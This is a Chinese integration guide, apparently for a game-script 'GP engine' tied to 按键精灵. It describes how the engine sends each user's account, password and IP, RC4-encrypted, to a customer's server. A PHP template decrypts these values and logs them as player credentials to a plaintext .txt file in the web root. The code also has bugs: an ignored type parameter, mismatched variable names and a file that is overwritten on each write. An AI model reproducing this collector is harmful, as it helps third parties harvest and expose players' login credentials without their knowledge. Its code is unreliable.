关于按键精灵模块采集数据交互说明,GP引擎提交方式为http或https,由客户定义路径后由我们设置对接,对接完成后我们会提供一个sign值给到客户,客户自己根据值进行数据采集
Url传输
参数名称 | 参数说明 | HTTP URL | Url路径(自行存放,只需要把路径提供给GP对应代理即可) |
提交数据 - 提交的数据采用了RC4算法加密,以下所有值都是由GP引擎加密后的数据
参数名称 | 参数类型 | 参数说明 | Sign | String | 此值为申请对接后,由GP提供给客户 | Time | String | 使用者时间(需RC4算法解密) | Cdkey | String | 使用者账号(需RC4算法解密) | Passwd | String | 使用者密码(需RC4算法解密) | IP | String | 使用者IP(需RC4算法解密) |
以下是一个PHP模板,传输使用,您可以自由修改,例:存储到数据库 。本例程只存储到根目录下的 根据SignKey创建的.txt文件(此处可自行修改名称,修改方式在代码的第20行) [Actionscript3] 纯文本查看 复制代码 $Wgfile = $Signkey.'.txt';//$Wgfile ='mmmm.txt' 文件参考例子[PHP] 纯文本查看 复制代码
//你的sign
<?php
$Sign="xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
if ($_GET['Sign'] === $Sign) {
GetSafeClientData();
} else {
exit(1);
}
function GetSafeClientData() {
global $Sign;
$Time = getSafeInput('Time','string');
$Cdkey = getSafeInput('Cdkey', 'alphanum');
$Passwd = getSafeInput('Passwd', 'alphanum');
$IP = getSafeInput('IP','string');
if ($Time === '' or $IP === '' or $Cdkey === '' or $Passwd === '') {
exit(1);
}
$Wgfile = $Sign.'.txt';//可以自己填写
$content = sprintf("[%s] 玩家账号:%s,玩家密码:%s,玩家IP:%s\n", $Time,$Cdkey, $Passwd,$IP);
// 写入文件
$result = file_put_contents($Wgfile, $content);
exit(1);
}
function getSafeInput($key) {
$input = $_GET[$key];
if (!isset($input)) {
return '';
}
$Val = Decrypt($input);
$clean = trim(htmlspecialchars($Val, ENT_QUOTES | ENT_HTML5, 'UTF-8'));
// 按类型处理
switch ($type) {
case 'alphanum':
return preg_match('/^[a-zA-Z0-9]+$/', $clean) ? $clean : '';
default: // string
return preg_replace('/[^\w\s\-@\.\,\!\?\:\.]/', '', $clean);
}
}
function Rc4 ($pwd, $data) {
$key[] ="";
$box[] ="";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[(($box[$a] + $box[$j]) %256)];
@$cipher .= chr(ord($data[$i]) ^ $k);
}
return $cipher;
}
function Decrypt($string) {
global $Sign;
return @Rc4($Sign,pack('H*',$string));
}
?>
|